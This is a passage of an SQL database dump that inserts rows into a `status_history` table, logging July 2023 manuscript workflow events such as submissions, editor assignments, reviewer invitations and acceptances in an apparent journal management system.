Manuscript',13884,'Editor',1789),(128645,'2023-07-04 14:26:38','Editor has been Editor Decision Accepted article',13896,'Editor',1789),(128646,'2023-07-04 14:27:04','Editor has been Editor Decision Accepted article',13885,'Editor',1789),(128647,'2023-07-04 14:27:25','Editor has been Editor Decision Accepted article',13884,'Editor',1789),(128648,'2023-07-04 14:47:09','Reviewer has submitted comments',13792,'Reviewer',11715),(128649,'2023-07-04 14:49:15','Editor has Accepted to review Manuscript',13792,'Editor',194),(128650,'2023-07-04 14:49:26','Editor has been Editor Decision Accepted article',13792,'Editor',194),(128651,'2023-07-04 14:50:05','Publisher has been Accepted Articles  article',13792,'Publisher',48),(128652,'2023-07-04 14:50:45','Publisher has been Assigned Editor',13895,'Publisher',48),(128653,'2023-07-04 14:51:02','Publisher has been Assigned Editor',13894,'Publisher',48),(128654,'2023-07-04 14:51:18','Publisher has been Assigned Editor',13893,'Publisher',48),(128655,'2023-07-04 15:53:11','Editor has Accepted to review Manuscript',13827,'Editor',192),(128656,'2023-07-04 15:53:13','Editor has Accepted to review Manuscript',13827,'Editor',192),(128657,'2023-07-04 15:53:14','Editor has Accepted to review Manuscript',13827,'Editor',192),(128658,'2023-07-04 15:53:16','Editor has Accepted to review Manuscript',13827,'Editor',192),(128659,'2023-07-04 15:53:26','Editor has been Editor Decision Accepted article',13827,'Editor',192),(128660,'2023-07-04 15:54:10','Publisher has been Accepted Articles  article',13827,'Publisher',48),(128661,'2023-07-05 09:04:50','Publisher has Invited Reviewer',13878,'Publisher',48),(128662,'2023-07-05 09:04:55','Publisher has Invited Reviewer',13878,'Publisher',48),(128663,'2023-07-05 09:05:39','Publisher has Invited Reviewer',13886,'Publisher',48),(128664,'2023-07-05 09:05:43','Publisher has Invited Reviewer',13886,'Publisher',48),(128665,'2023-07-05 09:06:10','Publisher has Invited Reviewer',13887,'Publisher',48),(128666,'2023-07-05 09:06:14','Publisher has Invited Reviewer',13887,'Publisher',48),(128667,'2023-07-05 09:07:02','Publisher has Invited Reviewer',13893,'Publisher',48),(128668,'2023-07-05 09:07:06','Publisher has Invited Reviewer',13893,'Publisher',48),(128669,'2023-07-05 09:08:39','Publisher has Invited Reviewer',13894,'Publisher',48),(128670,'2023-07-05 09:08:44','Publisher has Invited Reviewer',13894,'Publisher',48),(128671,'2023-07-05 09:10:24','Publisher has Invited Reviewer',13895,'Publisher',48),(128672,'2023-07-05 09:10:28','Publisher has Invited Reviewer',13895,'Publisher',48),(128673,'2023-07-05 11:17:48','Manuscript Submitted by Publisher',13898,'Publisher',48),(128674,'2023-07-05 11:23:09','Editor has Accepted to review Manuscript',13878,'Editor',194),(128675,'2023-07-05 11:23:18','Editor has Accepted to review Manuscript',13878,'Editor',194),(128676,'2023-07-05 11:23:37','Editor has been Editor Decision Accepted article',13878,'Editor',194),(128677,'2023-07-05 11:24:17','Manuscript Updated',13878,'Publisher',48),(128678,'2023-07-05 11:24:32','Publisher has been Accepted Articles  article',13878,'Publisher',48),(128679,'2023-07-05 11:24:59','Manuscript Updated',13878,'Publisher',48),(128680,'2023-07-05 12:00:28','Editor has Accepted to review Manuscript',13886,'Editor',192),(128681,'2023-07-05 12:00:40','Editor has been Editor Decision Accepted article',13886,'Editor',192),(128682,'2023-07-05 12:01:19','Manuscript Updated',13886,'Publisher',48),(128683,'2023-07-05 12:02:02','Publisher has been Accepted Articles  article',13886,'Publisher',48),(128684,'2023-07-05 12:02:21','Manuscript Updated',13886,'Publisher',48),(128685,'2023-07-05 13:10:17','Publisher has been Assigned Editor',13898,'Publisher',48),(128686,'2023-07-05 15:34:57','Editor has Accepted to review Manuscript',13887,'Editor',193),(128687,'2023-07-05 15:35:07','Editor has been Editor Decision Accepted article',13887,'Editor',193),(128688,'2023-07-05 15:35:29','Manuscript Updated',13887,'Publisher',48),(128689,'2023-07-05 15:35:44','Publisher has been Accepted Articles  article',13887,'Publisher',48),(128690,'2023-07-05 15:36:17','Publisher has been Accepted Articles  article',13887,'Publisher',48),(128691,'2023-07-05 15:36:29','Manuscript Updated',13887,'Publisher',48),(128692,'2023-07-05 17:37:44','Editor has Accepted to review Manuscript',13880,'Editor',1750),(128693,'2023-07-05 17:39:25','Editor has been Editor Decision Accepted article',13880,'Editor',1750),(128694,'2023-07-05 17:39:59','Editor has Accepted to review Manuscript',13872,'Editor',1750),(128695,'2023-07-05 17:40:14','Editor has been Editor Decision Accepted article',13872,'Editor',1750),(128696,'2023-07-05 17:40:27','Editor has Accepted to review Manuscript',13855,'Editor',1750),(128697,'2023-07-05 17:40:34','Editor has Accepted to review Manuscript',13814,'Editor',1750),(128698,'2023-07-05 17:40:41','Editor has Accepted to review Manuscript',13813,'Editor',1750),(128699,'2023-07-05 17:40:49','Editor has Accepted to review Manuscript',13812,'Editor',1750),(128700,'2023-07-05 17:41:15','Editor has been Editor Decision Accepted article',13855,'Editor',1750),(128701,'2023-07-05 17:42:00','Editor has been Editor Decision Accepted article',13814,'Editor',1750),(128702,'2023-07-05 17:42:23','Editor has been Editor Decision Accepted article',13813,'Editor',1750),(128703,'2023-07-05 17:42:59','Editor has been Editor Decision Accepted article',13812,'Editor',1750),(128704,'2023-07-06 10:39:03','Editor has Accepted to review Manuscript',13893,'Editor',191),(128705,'2023-07-06 10:39:15','Editor has been Editor Decision Accepted article',13893,'Editor',191),(128706,'2023-07-06 10:40:20','Manuscript Updated',13893,'Publisher',48),(128707,'2023-07-06 10:40:36','Publisher has been Accepted Articles  article',13893,'Publisher',48),(128708,'2023-07-06 11:11:25','Editor has Accepted to review Manuscript',13894,'Editor',191),(128709,'2023-07-06 11:11:37','Editor has been Editor Decision Accepted article',13894,'Editor',191),(128710,'2023-07-06 11:12:15','Manuscript Updated',13894,'Publisher',48),(128711,'2023-07-06 11:12:31','Publisher has been Accepted Articles  article',13894,'Publisher',48),(128712,'2023-07-06 11:12:39','Manuscript Updated',13894,'Publisher',48),(128713,'2023-07-06 11:33:41','Editor has Accepted to review Manuscript',13895,'Editor',194),(128714,'2023-07-06 11:33:51','Editor has been Editor Decision Accepted article',13895,'Editor',194),(128715,'2023-07-06 11:34:26','Manuscript Updated',13895,'Publisher',48),(128716,'2023-07-06 11:34:37','Publisher has been Accepted Articles  article',13895,'Publisher',48),(128717,'2023-07-06 11:34:46','Manuscript Updated',13895,'Publisher',48),(128718,'2023-07-06 14:10:44','Publisher has Invited Reviewer',13861,'Publisher',274),(128719,'2023-07-06 14:10:45','Publisher has Invited Reviewer',13861,'Publisher',274),(128720,'2023-07-06 14:10:45','Publisher has Invited Reviewer',13861,'Publisher',274),(128721,'2023-07-06 14:10:46','Publisher has Invited Reviewer',13861,'Publisher',274),(128722,'2023-07-06 14:10:46','Publisher has Invited Reviewer',13861,'Publisher',274),(128723,'2023-07-06 14:10:47','Publisher has Invited Reviewer',13861,'Publisher',274),(128724,'2023-07-06 14:10:47','Publisher has Invited Reviewer',13861,'Publisher',274),(128725,'2023-07-06 14:10:48','Publisher has Invited Reviewer',13861,'Publisher',274),(128726,'2023-07-06 14:10:48','Publisher has Invited Reviewer',13861,'Publisher',274),(128727,'2023-07-06 14:10:49','Publisher has Invited Reviewer',13861,'Publisher',274),(128728,'2023-07-06 14:10:49','Publisher has Invited Reviewer',13861,'Publisher',274),(128729,'2023-07-06 14:10:50','Publisher has Invited Reviewer',13861,'Publisher',274),(128730,'2023-07-06 14:10:51','Publisher has Invited Reviewer',13861,'Publisher',274),(128731,'2023-07-06 14:10:51','Publisher has Invited Reviewer',13861,'Publisher',274),(128732,'2023-07-06 14:10:52','Publisher has Invited Reviewer',13861,'Publisher',274),(128733,'2023-07-06 14:10:53','Publisher has Invited Reviewer',13861,'Publisher',274),(128734,'2023-07-06 14:10:53','Publisher has Invited Reviewer',13861,'Publisher',274),(128735,'2023-07-06 14:10:54','Publisher has Invited Reviewer',13861,'Publisher',274),(128736,'2023-07-06 14:10:54','Publisher has Invited Reviewer',13861,'Publisher',274),(128737,'2023-07-06 14:10:55','Publisher has Invited Reviewer',13861,'Publisher',274),(128738,'2023-07-06 14:12:25','Publisher has Invited Reviewer',13867,'Publisher',274),(128739,'2023-07-06 14:12:26','Publisher has Invited Reviewer',13867,'Publisher',274),(128740,'2023-07-06 14:12:26','Publisher has Invited Reviewer',13867,'Publisher',274),(128741,'2023-07-06 14:12:26','Publisher has Invited Reviewer',13867,'Publisher',274),(128742,'2023-07-06 14:12:27','Publisher has Invited Reviewer',13867,'Publisher',274),(128743,'2023-07-06 14:12:27','Publisher has Invited Reviewer',13867,'Publisher',274),(128744,'2023-07-06 14:12:28','Publisher has Invited Reviewer',13867,'Publisher',274),(128745,'2023-07-06 14:12:29','Publisher has Invited Reviewer',13867,'Publisher',274),(128746,'2023-07-06 14:12:29','Publisher has Invited Reviewer',13867,'Publisher',274),(128747,'2023-07-06 14:12:30','Publisher has Invited Reviewer',13867,'Publisher',274),(128748,'2023-07-06 14:12:30','Publisher has Invited Reviewer',13867,'Publisher',274),(128749,'2023-07-06 14:12:30','Publisher has Invited Reviewer',13867,'Publisher',274),(128750,'2023-07-06 14:12:31','Publisher has Invited Reviewer',13867,'Publisher',274),(128751,'2023-07-06 14:12:31','Publisher has Invited Reviewer',13867,'Publisher',274),(128752,'2023-07-06 14:12:32','Publisher has Invited Reviewer',13867,'Publisher',274),(128753,'2023-07-06 14:12:32','Publisher has Invited Reviewer',13867,'Publisher',274),(128754,'2023-07-06 14:12:33','Publisher has Invited Reviewer',13867,'Publisher',274),(128755,'2023-07-06 14:12:33','Publisher has Invited Reviewer',13867,'Publisher',274),(128756,'2023-07-06 14:12:34','Publisher has Invited Reviewer',13867,'Publisher',274),(128757,'2023-07-06 14:12:34','Publisher has Invited Reviewer',13867,'Publisher',274),(128758,'2023-07-06 14:12:35','Publisher has Invited Reviewer',13867,'Publisher',274),(128759,'2023-07-06 14:12:37','Manuscript Updated',13873,'Publisher',1009),(128760,'2023-07-06 14:12:55','Publisher has been Accepted Articles  article',13873,'Publisher',1009),(128761,'2023-07-06 14:13:05','Publisher has Invited Reviewer',13868,'Publisher',274),(128762,'2023-07-06 14:13:05','Publisher has Invited Reviewer',13868,'Publisher',274),(128763,'2023-07-06 14:13:05','Manuscript Updated',13873,'Publisher',1009),(128764,'2023-07-06 14:13:05','Publisher has Invited Reviewer',13868,'Publisher',274),(128765,'2023-07-06 14:13:06','Publisher has Invited Reviewer',13868,'Publisher',274),(128766,'2023-07-06 14:13:06','Publisher has Invited Reviewer',13868,'Publisher',274),(128767,'2023-07-06 14:13:07','Publisher has Invited Reviewer',13868,'Publisher',274),(128768,'2023-07-06 14:13:07','Publisher has Invited Reviewer',13868,'Publisher',274),(128769,'2023-07-06 14:13:08','Publisher has Invited Reviewer',13868,'Publisher',274),(128770,'2023-07-06 14:13:08','Publisher has Invited Reviewer',13868,'Publisher',274),(128771,'2023-07-06 14:13:09','Publisher has Invited Reviewer',13868,'Publisher',274),(128772,'2023-07-06 14:13:09','Publisher has Invited Reviewer',13868,'Publisher',274),(128773,'2023-07-06 14:13:10','Publisher has Invited Reviewer',13868,'Publisher',274),(128774,'2023-07-06 14:13:10','Publisher has Invited Reviewer',13868,'Publisher',274),(128775,'2023-07-06 14:13:10','Publisher has Invited Reviewer',13868,'Publisher',274),(128776,'2023-07-06 14:13:11','Publisher has Invited Reviewer',13868,'Publisher',274),(128777,'2023-07-06 14:13:12','Publisher has Invited Reviewer',13868,'Publisher',274),(128778,'2023-07-06 14:13:12','Publisher has Invited Reviewer',13868,'Publisher',274),(128779,'2023-07-06 14:13:12','Publisher has Invited Reviewer',13868,'Publisher',274),(128780,'2023-07-06 14:13:13','Publisher has Invited Reviewer',13868,'Publisher',274),(128781,'2023-07-06 14:13:13','Publisher has Invited Reviewer',13868,'Publisher',274),(128782,'2023-07-06 14:13:14','Publisher has Invited Reviewer',13868,'Publisher',274),(128783,'2023-07-06 14:13:14','Publisher has Invited Reviewer',13868,'Publisher',274),(128784,'2023-07-06 14:13:15','Publisher has Invited Reviewer',13868,'Publisher',274),(128785,'2023-07-06 14:13:15','Publisher has Invited Reviewer',13868,'Publisher',274),(128786,'2023-07-06 14:13:16','Publisher has Invited Reviewer',13868,'Publisher',274),(128787,'2023-07-06 14:13:16','Publisher has Invited Reviewer',13868,'Publisher',274),(128788,'2023-07-06 14:13:17','Publisher has Invited Reviewer',13868,'Publisher',274),(128789,'2023-07-06 14:13:17','Publisher has Invited Reviewer',13868,'Publisher',274),(128790,'2023-07-06 14:13:17','Publisher has Invited Reviewer',13868,'Publisher',274);
INSERT INTO `status_history` VALUES (128791,'2023-07-06 14:13:18','Publisher has Invited Reviewer',13868,'Publisher',274),(128792,'2023-07-06 14:13:19','Publisher has Invited Reviewer',13868,'Publisher',274),(128793,'2023-07-06 14:13:19','Publisher has Invited Reviewer',13868,'Publisher',274),(128794,'2023-07-06 14:13:19','Publisher has Invited Reviewer',13868,'Publisher',274),(128795,'2023-07-06 14:13:20','Publisher has Invited Reviewer',13868,'Publisher',274),(128796,'2023-07-06 14:13:20','Publisher has Invited Reviewer',13868,'Publisher',274),(128797,'2023-07-06 14:13:21','Publisher has Invited Reviewer',13868,'Publisher',274),(128798,'2023-07-06 14:13:21','Publisher has Invited Reviewer',13868,'Publisher',274),(128799,'2023-07-06 14:13:21','Publisher has Invited Reviewer',13868,'Publisher',274),(128800,'2023-07-06 14:13:22','Publisher has Invited Reviewer',13868,'Publisher',274),(128801,'2023-07-06 14:13:22','Publisher has Invited Reviewer',13868,'Publisher',274),(128802,'2023-07-06 14:13:23','Publisher has Invited Reviewer',13868,'Publisher',274),(128803,'2023-07-06 14:13:23','Publisher has Invited Reviewer',13868,'Publisher',274),(128804,'2023-07-06 14:13:23','Publisher has Invited Reviewer',13868,'Publisher',274),(128805,'2023-07-06 14:13:24','Publisher has Invited Reviewer',13868,'Publisher',274),(128806,'2023-07-06 14:13:24','Publisher has Invited Reviewer',13868,'Publisher',274),(128807,'2023-07-06 14:13:25','Publisher has Invited Reviewer',13868,'Publisher',274),(128808,'2023-07-06 14:13:25','Publisher has Invited Reviewer',13868,'Publisher',274),(128809,'2023-07-06 14:13:49','Manuscript Updated',13856,'Publisher',1009),(128810,'2023-07-06 14:14:11','Publisher has Invited Reviewer',13861,'Publisher',274),(128811,'2023-07-06 14:14:36','Publisher has been Accepted Articles  article',13856,'Publisher',1009),(128812,'2023-07-06 14:14:50','Manuscript Updated',13856,'Publisher',1009),(128813,'2023-07-06 14:15:38','Manuscript Updated',13856,'Publisher',1009),(128814,'2023-07-06 14:15:59','Publisher has been Accepted Articles  article',13856,'Publisher',1009),(128815,'2023-07-06 14:16:16','Manuscript Updated',13856,'Publisher',1009),(128816,'2023-07-06 14:16:54','Manuscript Updated',13855,'Publisher',1009),(128817,'2023-07-06 14:17:25','Publisher has been Accepted Articles  article',13855,'Publisher',1009),(128818,'2023-07-06 14:17:43','Manuscript Updated',13855,'Publisher',1009),(128819,'2023-07-06 14:18:11','Publisher has been Accepted Articles  article',13854,'Publisher',1009),(128820,'2023-07-06 14:18:37','Publisher has been Accepted Articles  article',13846,'Publisher',1009),(128821,'2023-07-06 14:19:29','Publisher has been Accepted Articles  article',13814,'Publisher',1009),(128822,'2023-07-06 14:19:56','Publisher has been Accepted Articles  article',13813,'Publisher',1009),(128823,'2023-07-06 14:20:23','Publisher has been Accepted Articles  article',13812,'Publisher',1009),(128824,'2023-07-06 14:22:42','Publisher has been Accepted Articles  article',13880,'Publisher',1009),(128825,'2023-07-06 14:22:57','Publisher has been Accepted Articles  article',13872,'Publisher',1009),(128826,'2023-07-06 21:14:54','Author sent Email',13847,'Author',13950),(128827,'2023-07-06 21:17:04','Author sent Email',13847,'Author',13950),(128828,'2023-07-07 18:44:59','Manuscript Submitted by Author using Submission form',13899,'Author',13992),(128829,'2023-07-09 22:24:13','Author sent Email',13847,'Author',13950),(128830,'2023-07-10 10:47:48','Publisher has been Assigned Editor',13899,'Publisher',376),(128831,'2023-07-10 10:48:36','Publisher has Invited Reviewer',13899,'Publisher',376),(128832,'2023-07-10 10:48:40','Publisher has Invited Reviewer',13899,'Publisher',376),(128833,'2023-07-10 10:48:44','Publisher has Invited Reviewer',13899,'Publisher',376),(128834,'2023-07-10 10:48:49','Publisher has Invited Reviewer',13899,'Publisher',376),(128835,'2023-07-10 10:49:01','Publisher has Invited Reviewer',13899,'Publisher',376),(128836,'2023-07-10 10:49:23','Publisher has Invited Reviewer',13899,'Publisher',376),(128837,'2023-07-10 10:49:27','Publisher has Invited Reviewer',13899,'Publisher',376),(128838,'2023-07-10 10:49:32','Publisher has Invited Reviewer',13899,'Publisher',376),(128839,'2023-07-10 10:49:36','Publisher has Invited Reviewer',13899,'Publisher',376),(128840,'2023-07-10 10:49:41','Publisher has Invited Reviewer',13899,'Publisher',376),(128841,'2023-07-10 10:49:45','Publisher has Invited Reviewer',13899,'Publisher',376),(128842,'2023-07-10 10:49:50','Publisher has Invited Reviewer',13899,'Publisher',376),(128843,'2023-07-10 10:49:54','Publisher has Invited Reviewer',13899,'Publisher',376),(128844,'2023-07-10 10:49:59','Publisher has Invited Reviewer',13899,'Publisher',376),(128845,'2023-07-10 10:50:03','Publisher has Invited Reviewer',13899,'Publisher',376),(128846,'2023-07-10 10:50:07','Publisher has Invited Reviewer',13899,'Publisher',376),(128847,'2023-07-10 10:50:12','Publisher has Invited Reviewer',13899,'Publisher',376),(128848,'2023-07-10 10:50:16','Publisher has Invited Reviewer',13899,'Publisher',376),(128849,'2023-07-10 10:50:21','Publisher has Invited Reviewer',13899,'Publisher',376),(128850,'2023-07-10 14:53:29','Manuscript Submitted by Author using Submission form',13900,'Author',13993),(128851,'2023-07-12 09:59:49','Manuscript Submitted by Publisher',13901,'Publisher',85),(128852,'2023-07-12 10:18:06','Manuscript Submitted by Publisher',13902,'Publisher',85),(128853,'2023-07-12 10:22:33','Manuscript Submitted by Publisher',13903,'Publisher',85),(128854,'2023-07-12 10:24:27','Manuscript Submitted by Publisher',13904,'Publisher',85),(128855,'2023-07-12 10:27:14','Manuscript Submitted by Publisher',13905,'Publisher',85),(128856,'2023-07-12 10:37:11','Manuscript Submitted by Publisher',13906,'Publisher',85),(128857,'2023-07-12 10:44:19','Manuscript Submitted by Publisher',13907,'Publisher',85),(128858,'2023-07-12 10:52:35','Manuscript Submitted by Publisher',13908,'Publisher',85),(128859,'2023-07-12 11:02:13','Manuscript Submitted by Publisher',13909,'Publisher',85),(128860,'2023-07-12 13:03:05','Publisher has Invited Reviewer',13898,'Publisher',48),(128861,'2023-07-12 13:03:09','Publisher has Invited Reviewer',13898,'Publisher',48),(128862,'2023-07-12 13:03:14','Publisher has Invited Reviewer',13898,'Publisher',48),(128863,'2023-07-13 11:57:02','Publisher has been Assigned Editor',13905,'Publisher',85),(128864,'2023-07-13 11:57:19','Publisher has been Assigned Editor',13904,'Publisher',85),(128865,'2023-07-13 11:57:36','Publisher has been Assigned Editor',13903,'Publisher',85),(128866,'2023-07-13 11:57:51','Publisher has been Assigned Editor',13902,'Publisher',85),(128867,'2023-07-13 11:58:06','Publisher has been Assigned Editor',13901,'Publisher',85),(128868,'2023-07-13 13:17:00','Publisher has been Assigned Editor',13907,'Publisher',85),(128869,'2023-07-13 13:17:21','Publisher has been Assigned Editor',13909,'Publisher',85),(128870,'2023-07-13 13:17:35','Publisher has been Assigned Editor',13908,'Publisher',85),(128871,'2023-07-13 14:00:12','Publisher has been Assigned Editor',13906,'Publisher',85),(128872,'2023-07-13 14:12:49','Editor has Accepted to review Manuscript',13901,'Editor',1574),(128873,'2023-07-13 14:13:06','Editor has been Editor Decision Accepted article',13901,'Editor',1574),(128874,'2023-07-13 14:13:11','Editor has Accepted to review Manuscript',13902,'Editor',1574),(128875,'2023-07-13 14:13:21','Editor has been Editor Decision Accepted article',13902,'Editor',1574),(128876,'2023-07-13 14:13:44','Editor has Accepted to review Manuscript',13903,'Editor',1574),(128877,'2023-07-13 14:13:58','Editor has been Editor Decision Accepted article',13903,'Editor',1574),(128878,'2023-07-13 14:14:10','Editor has Accepted to review Manuscript',13904,'Editor',1574),(128879,'2023-07-13 14:14:21','Editor has been Editor Decision Accepted article',13904,'Editor',1574),(128880,'2023-07-13 14:14:27','Editor has Accepted to review Manuscript',13905,'Editor',1574),(128881,'2023-07-13 14:14:38','Editor has been Editor Decision Accepted article',13905,'Editor',1574),(128882,'2023-07-13 14:14:50','Editor has Accepted to review Manuscript',13906,'Editor',1574),(128883,'2023-07-13 14:15:02','Editor has been Editor Decision Accepted article',13906,'Editor',1574),(128884,'2023-07-13 14:15:08','Editor has Accepted to review Manuscript',13907,'Editor',1574),(128885,'2023-07-13 14:15:19','Editor has been Editor Decision Accepted article',13907,'Editor',1574),(128886,'2023-07-13 14:15:24','Editor has Accepted to review Manuscript',13908,'Editor',1574),(128887,'2023-07-13 14:15:34','Editor has been Editor Decision Accepted article',13908,'Editor',1574),(128888,'2023-07-13 14:15:46','Editor has Accepted to review Manuscript',13909,'Editor',1574),(128889,'2023-07-13 14:15:56','Editor has been Editor Decision Accepted article',13909,'Editor',1574),(128890,'2023-07-13 14:31:45','Manuscript Updated',13901,'Publisher',85),(128891,'2023-07-13 14:32:00','Publisher has been Accepted Articles  article',13901,'Publisher',85),(128892,'2023-07-13 14:32:10','Manuscript Updated',13901,'Publisher',85),(128893,'2023-07-13 14:32:28','Manuscript Updated',13902,'Publisher',85),(128894,'2023-07-13 14:32:43','Publisher has been Accepted Articles  article',13902,'Publisher',85),(128895,'2023-07-13 14:32:52','Manuscript Updated',13902,'Publisher',85),(128896,'2023-07-13 14:33:10','Manuscript Updated',13903,'Publisher',85),(128897,'2023-07-13 14:33:30','Manuscript Updated',13903,'Publisher',85),(128898,'2023-07-13 14:33:41','Publisher has been Accepted Articles  article',13903,'Publisher',85),(128899,'2023-07-13 14:33:51','Manuscript Updated',13903,'Publisher',85),(128900,'2023-07-13 14:34:03','Manuscript Updated',13904,'Publisher',85),(128901,'2023-07-13 14:34:19','Publisher has been Accepted Articles  article',13904,'Publisher',85),(128902,'2023-07-13 14:34:28','Manuscript Updated',13904,'Publisher',85),(128903,'2023-07-13 14:34:36','Manuscript Updated',13905,'Publisher',85),(128904,'2023-07-13 14:34:50','Publisher has been Accepted Articles  article',13905,'Publisher',85),(128905,'2023-07-13 14:34:58','Manuscript Updated',13905,'Publisher',85),(128906,'2023-07-13 14:35:07','Manuscript Updated',13906,'Publisher',85),(128907,'2023-07-13 14:35:21','Publisher has been Accepted Articles  article',13906,'Publisher',85),(128908,'2023-07-13 14:35:29','Manuscript Updated',13906,'Publisher',85),(128909,'2023-07-13 14:35:40','Manuscript Updated',13907,'Publisher',85),(128910,'2023-07-13 14:35:54','Publisher has been Accepted Articles  article',13907,'Publisher',85),(128911,'2023-07-13 14:36:03','Manuscript Updated',13907,'Publisher',85),(128912,'2023-07-13 14:36:14','Manuscript Updated',13908,'Publisher',85),(128913,'2023-07-13 14:36:30','Publisher has been Accepted Articles  article',13908,'Publisher',85),(128914,'2023-07-13 14:36:39','Manuscript Updated',13908,'Publisher',85),(128915,'2023-07-13 14:37:08','Manuscript Updated',13909,'Publisher',85),(128916,'2023-07-13 14:37:19','Publisher has been Accepted Articles  article',13909,'Publisher',85),(128917,'2023-07-13 14:37:29','Manuscript Updated',13909,'Publisher',85),(128918,'2023-07-13 15:50:21','Manuscript Submitted by Publisher',13910,'Publisher',75),(128919,'2023-07-13 15:52:14','Manuscript Submitted by Publisher',13911,'Publisher',75),(128920,'2023-07-13 15:56:43','Manuscript Submitted by Publisher',13912,'Publisher',75),(128921,'2023-07-13 16:40:47','Manuscript Submitted by Publisher',13913,'Publisher',75),(128922,'2023-07-13 16:43:00','Manuscript Submitted by Publisher',13914,'Publisher',75),(128923,'2023-07-13 16:45:21','Manuscript Submitted by Publisher',13915,'Publisher',75),(128924,'2023-07-13 16:46:34','Manuscript Submitted by Publisher',13916,'Publisher',75),(128925,'2023-07-14 04:26:06','Reviewer has submitted comments',13899,'Reviewer',21547),(128926,'2023-07-14 11:00:46','Manuscript Submitted by Author using Submission form',13917,'Author',14010),(128927,'2023-07-14 13:40:51','Editor has Accepted to review Manuscript',13899,'Editor',1452),(128928,'2023-07-14 13:41:11','Editor has been Editor Decision Accepted article',13899,'Editor',1452),(128929,'2023-07-14 14:03:06','Publisher has been Assigned Editor',13916,'Publisher',75),(128930,'2023-07-14 14:03:19','Publisher has been Assigned Editor',13915,'Publisher',75),(128931,'2023-07-14 14:03:32','Publisher has been Assigned Editor',13914,'Publisher',75),(128932,'2023-07-14 14:03:43','Publisher has been Assigned Editor',13913,'Publisher',75),(128933,'2023-07-14 14:03:55','Publisher has been Assigned Editor',13912,'Publisher',75),(128934,'2023-07-14 14:04:06','Publisher has been Assigned Editor',13910,'Publisher',75),(128935,'2023-07-14 14:04:17','Publisher has been Assigned Editor',13911,'Publisher',75),(128936,'2023-07-14 15:41:10','Manuscript Submitted by Publisher',13918,'Publisher',984),(128937,'2023-07-14 15:51:52','Manuscript Submitted by Publisher',13919,'Publisher',984),(128938,'2023-07-14 17:01:16','Manuscript Submitted by Publisher',13920,'Publisher',984),(128939,'2023-07-14 17:05:41','Manuscript Submitted by Publisher',13921,'Publisher',984),(128940,'2023-07-14 17:11:19','Manuscript Submitted by Publisher',13922,'Publisher',984),(128941,'2023-07-14 17:24:55','Manuscript Submitted by Publisher',13923,'Publisher',984),(128942,'2023-07-14 17:38:34','Manuscript Submitted by Publisher',13924,'Publisher',984),(128943,'2023-07-14 17:44:20','Manuscript Submitted by Publisher',13925,'Publisher',984),(128944,'2023-07-14 17:47:37','Manuscript Submitted by Publisher',13926,'Publisher',984),(128945,'2023-07-14 17:52:56','Manuscript Submitted by Publisher',13927,'Publisher',984),(128946,'2023-07-17 10:36:06','Editor has Accepted to review Manuscript',13910,'Editor',160),(128947,'2023-07-17 10:36:14','Editor has been Editor Decision Accepted article',13910,'Editor',160),(128948,'2023-07-17 10:36:18','Editor has Accepted to review Manuscript',13911,'Editor',160),(128949,'2023-07-17 10:36:26','Editor has been Editor Decision Accepted article',13911,'Editor',160),(128950,'2023-07-17 10:36:26','Editor has been Editor Decision Accepted article',13911,'Editor',160),(128951,'2023-07-17 10:36:31','Editor has Accepted to review Manuscript',13912,'Editor',160),(128952,'2023-07-17 10:36:36','Editor has been Editor Decision Accepted article',13912,'Editor',160),(128953,'2023-07-17 10:36:37','Editor has been Editor Decision Accepted article',13912,'Editor',160),(128954,'2023-07-17 10:36:42','Editor has Accepted to review Manuscript',13913,'Editor',160),(128955,'2023-07-17 10:36:48','Editor has been Editor Decision Accepted article',13913,'Editor',160),(128956,'2023-07-17 10:36:52','Editor has Accepted to review Manuscript',13914,'Editor',160),(128957,'2023-07-17 10:36:57','Editor has been Editor Decision Accepted article',13914,'Editor',160),(128958,'2023-07-17 10:37:01','Editor has Accepted to review Manuscript',13915,'Editor',160),(128959,'2023-07-17 10:37:07','Editor has been Editor Decision Accepted article',13915,'Editor',160),(128960,'2023-07-17 10:37:12','Editor has Accepted to review Manuscript',13916,'Editor',160),(128961,'2023-07-17 10:37:18','Editor has been Editor Decision Accepted article',13916,'Editor',160),(128962,'2023-07-17 10:38:09','Manuscript Updated',13910,'Publisher',75),(128963,'2023-07-17 10:38:22','Publisher has been Accepted Articles  article',13910,'Publisher',75),(128964,'2023-07-17 10:38:49','Manuscript Updated',13911,'Publisher',75),(128965,'2023-07-17 10:39:01','Publisher has been Accepted Articles  article',13911,'Publisher',75),(128966,'2023-07-17 10:39:17','Manuscript Updated',13890,'Publisher',75),(128967,'2023-07-17 10:39:51','Manuscript Updated',13912,'Publisher',75),(128968,'2023-07-17 10:40:59','Publisher has been Accepted Articles  article',13912,'Publisher',75),(128969,'2023-07-17 10:41:18','Manuscript Updated',13890,'Publisher',75),(128970,'2023-07-17 10:41:33','Manuscript Updated',13913,'Publisher',75),(128971,'2023-07-17 10:41:43','Publisher has been Accepted Articles  article',13913,'Publisher',75),(128972,'2023-07-17 10:41:56','Manuscript Updated',13914,'Publisher',75),(128973,'2023-07-17 10:42:07','Publisher has been Accepted Articles  article',13914,'Publisher',75),(128974,'2023-07-17 10:42:25','Manuscript Updated',13915,'Publisher',75),(128975,'2023-07-17 10:42:36','Publisher has been Accepted Articles  article',13915,'Publisher',75),(128976,'2023-07-17 10:42:38','Publisher has been Accepted Articles  article',13915,'Publisher',75),(128977,'2023-07-17 10:42:40','Publisher has been Accepted Articles  article',13915,'Publisher',75),(128978,'2023-07-17 10:42:54','Manuscript Updated',13916,'Publisher',75),(128979,'2023-07-17 10:43:05','Publisher has been Accepted Articles  article',13916,'Publisher',75),(128980,'2023-07-17 10:43:06','Publisher has been Accepted Articles  article',13916,'Publisher',75),(128981,'2023-07-17 13:49:52','Manuscript Submitted by Author using Submission form',13928,'Author',14022),(128982,'2023-07-17 17:11:36','Manuscript Submitted by Publisher',13929,'Publisher',48),(128983,'2023-07-18 11:12:52','Manuscript Submitted by Author using Submission form',13930,'Author',14024),(128984,'2023-07-18 11:19:54','Publisher has been Assigned Editor',13917,'Publisher',274),(128985,'2023-07-18 11:21:12','Manuscript Submitted by Author using Submission form',13931,'Author',14025),(128986,'2023-07-18 11:31:10','Reviewer has submitted comments',13868,'Reviewer',9897),(128987,'2023-07-18 11:33:06','Editor has been Editor Decision Accepted article',13868,'Editor',1789),(128988,'2023-07-18 11:35:05','Publisher has been Accepted Articles  article',13868,'Publisher',274),(128989,'2023-07-18 11:38:06','Reviewer has submitted comments',13861,'Reviewer',20419),(128990,'2023-07-18 11:39:05','Editor has been Editor Decision Accepted article',13861,'Editor',1664),(128991,'2023-07-18 11:41:54','Publisher has been Accepted Articles  